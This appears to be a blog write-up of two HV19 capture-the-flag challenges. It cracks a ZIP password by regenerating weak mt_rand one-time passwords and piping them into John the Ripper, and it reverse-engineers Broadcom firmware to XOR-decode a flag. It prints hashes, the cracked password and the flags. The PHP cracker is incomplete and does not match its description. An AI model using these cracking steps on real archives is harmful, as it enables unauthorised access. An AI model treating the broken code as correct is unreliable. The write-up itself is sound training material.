root@kali:~/hv19/23# zip2john Santa-data.zip
ver 1.0 Santa-data.zip/flag.txt PKZIP Encr: cmplen=57, decmplen=37, crc=B31E19FF
ver 2.0 Santa-data.zip/pearl.png PKZIP Encr: cmplen=119024, decmplen=120979, crc=8994CA4C
ver 2.0 Santa-data.zip/ball15.png PKZIP Encr: cmplen=46510, decmplen=46565, crc=5E20478F
ver 2.0 Santa-data.zip/cake.txt PKZIP Encr: cmplen=310, decmplen=727, crc=25981C5A
ver 2.0 Santa-data.zip/blindball.png PKZIP Encr: cmplen=182328, decmplen=183606, crc=F0442C30
ver 2.0 Santa-data.zip/GoodOldTimes.exe PKZIP Encr: cmplen=625, decmplen=2560, crc=EF6B229B
Santa-data.zip:$pkzip2$3*1*1*0*63*24*5e20*7c67*69e5d5637af3005ba4c1061964f8037c23d4d912fd8dd6bc59e65eadfc791a5c163461bc*1*0*63*24*8994*4eaf*99dc5ea6d837c104740f6d9e883d8b4c44028b2c0eed3f575925352e966cbe3c96c49176*2*0*39*25*b31e19ff*0*31*63*39*b31e*83ea*d75ebd89add5cf7675ca8249d36387bf723d66085cb4334858bc69989550a643c4a614645d505889e91bdbd269787afe232081a44c398eeab9*$/pkzip2$::Santa-data.zip:flag.txt, ball15.png, pearl.png:Santa-data.zip
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
root@kali:~/hv19/23/t# zip2john Santa-data.zip > santa-hash.txt

Now we need to rebuilt the perl script in PHP:

$alpha = 'abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789';

for ($i = 0; $i < 0x100000000000; $i++) {
  $pw = '';
  for ($j = 0; $j < 12; $j++) {
    $pw .= $alpha[mt_rand(0,53)];
  echo $pw."\n";


The PHP script defines the alphabet from the previously mentioned blog post and continuously initializes the PRNG by calling mt_srand with another number ($i) followed by the generation of the one-time password.

All generate one-time passwords are printed to stdout:
root@kali:~/hv19/23# php crackOTP.php | head

In order to directly pipe the generated passwords to john, we can use the --stdin option:
root@kali:~/hv19/23# php crackOTP.php | john --stdin santa-hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
Will run 2 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status

After a few minutes we actually get a hit:
Kwmq3Sqmc5sA     (Santa-data.zip/flag.txt)
1g 0:00:10:12  0.001633g/s 7079p/s 7079c/s 7079C/s jDdDjuYS9mBG..ApwYqaWtC2Zh
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The password Kwmq3Sqmc5sA can be used to uncompressed/decrypt the archive:
root@kali:~/hv19/23# 7z x Santa-data.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Celeron(R) CPU N3450 @ 1.10GHz (506C9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 349592 bytes (342 KiB)

Extracting archive: Santa-data.zip
Path = Santa-data.zip
Type = zip
Physical Size = 349592

Enter password (will not be echoed): (Kwmq3Sqmc5sA)
Everything is Ok

Files: 6
Size:       354474
Compressed: 349592

We actually got the flag:
root@kali:~/hv19/23# cat flag.txt

The flag is HV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}.

return to overview ⇧

HV19.24 - ham radio

Author: DrSchottky
Elves built for santa a special radio to help him coordinating today's presents delivery.

HV19-ham radio.zip

As little present and in order not to screw up your whole christmas, you have 3 whole days to solve this puzzle.

Happy christmas!

The provided zip archive contains a file called brcmfmac43430-sdio.bin:
root@kali:~/hv19/24# unzip 19bf7592-f3ee-474c-bf82-233f270bbf70.zip
Archive:  19bf7592-f3ee-474c-bf82-233f270bbf70.zip
  inflating: brcmfmac43430-sdio.bin
root@kali:~/hv19/24# file brcmfmac43430-sdio.bin
brcmfmac43430-sdio.bin: data
By googling for the filename and trawling through the challenge author's github repo, it seemed likely that the challenge is related to nexmon. Accordingly the file seems to be a firmware for a broadcom 43430 wireless chipset.

Since file didn't even identify any known file type (data), I wondered which processor architecture this kind of chipset is using. After a bit of googling once again, I stumbled upon this well written blog post. Despite plenty of details on how to reverse engineer a broadcom wireless chipset, the blog post contains a table which states that the bcm43430 is using an ARM Cortex M3. With this information let's fire up ghidra and see if it can decompile the binary.

Indeed ghidra offers a big endian and a little endian ARM cortex architecture. By selecting the second one (little endian) ...

... the binary can actually be decompiled:

There are plenty of functions since we are facing a whole firmware. My assumption was that the flag related code will probably use XOR. The ARM instruction for XOR is called EOR. Thus I started to search for EOR within the instruction mnemonics. Of course there are quite a few parts in the code, which use XOR, but the following part is obviously not part of the ordinary firmware:

We can see a reference to a base64 string, which can also be revealed by simply using strings on the binary:
root@kali:~/hv19/24# strings brcmfmac43430-sdio.bin
pGnexmon_ver: 2.2.2-269-g4921d-dirty-16
wl%d: Broadcom BCM%s 802.11 Wireless Controller %s

Though the string only contains a message from the author:
root@kali:~/hv19/24# echo Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBhcmUgYmx1ZSwgRHJTY2hvdHRreSBsb3ZlcyBob29raW5nIGlvY3Rscywgd2h5IHNob3VsZG4ndCB5b3U/|base64 -d
Roses are red, Violets are blue, DrSchottky loves hooking ioctls, why shouldn't you?

The part of the decompiled output, which looks really juciy, is the following:

Two variables are initialized (pbVar2 and pbVar3) followed by a loop, which XORs every byte of the data being referenced by both of those two variables. This looks obviously like the flag being "decrypted". The data, which is referenced, is stored at 0x00058e94 and 0x00058eac respectively (the correct addresses can be read from the disassembly output):

Though when reassembling the part of the code in python ...
#!/usr/bin/env python

v1 = '\x09\xBC\x31\x3A\x68\x1A\xAB\x72\x47\x86\x7E\xE6\x4A\x1D\x6F\x04\x2E\x74\x50\x0D\x78\x06\x3E\x00'
v2 = '\x6A\x91\x44\x3B\xBE\x27\x15\x92\x07\xC9\xF3\x47\x77\xED\xE5\x26\x10\x76\x74\x80\x57\x1F\x00'

out = ''
for i in range(len(v2)):
  out += chr(ord(v1[i]) ^ ord(v2[i]))


... we only get rubbish:
root@kali:~/hv19/24# ./decrypt.py

Further inspecting the decompiled output we can notice a few calls to functions being located at addresses >= 0x0080000. Also at the end of the decompiled function, there is a call to 0x0000239, which is called passing the address of one of the potential flag data (0x00058eac) as well as 0x800000 and 0x17:

This function uses the second parameter (0x0080000) as a reference and exchanges values with the first parameter (the potential flag data):

When searching through the nexmon github repo I stumbled upon this definitions.mk file. In addition to the file which was provided in the challenge (brcmfmac43430-sdio.bin), there is a reference to another file called rom.bin, which seems to be loaded at the address 0x800000:

I really had a hard time to find this file, but it turned out that the file can simply be found in another repo of seemoo-lab: seemoo-lab / bcm_misc / bcm43430a1.

Since the data at 0x00058eac seems to be exchanged by the function at 0x2390, let's adjust our python script to use the data from the rom.bin file instead:
#!/usr/bin/env python

stack_vals = '\x09\xBC\x31\x3A\x68\x1A\xAB\x72\x47\x86\x7E\xE6\x4A\x1D\x6F\x04\x2E\x74\x50\x0D\x78\x06\x3E'
key = open('rom.bin').read()

out = ''
for i in range(len(stack_vals)):
  out += chr(ord(stack_vals[i]) ^ ord(key[i]))


Running the script now actually outputs the flag:
root@kali:~/hv19/24# ./xorRom.py

The flag is HV19{Y0uw3n7FullM4Cm4n}.

Leave a Reply

Your email address will not be published. Required fields are marked *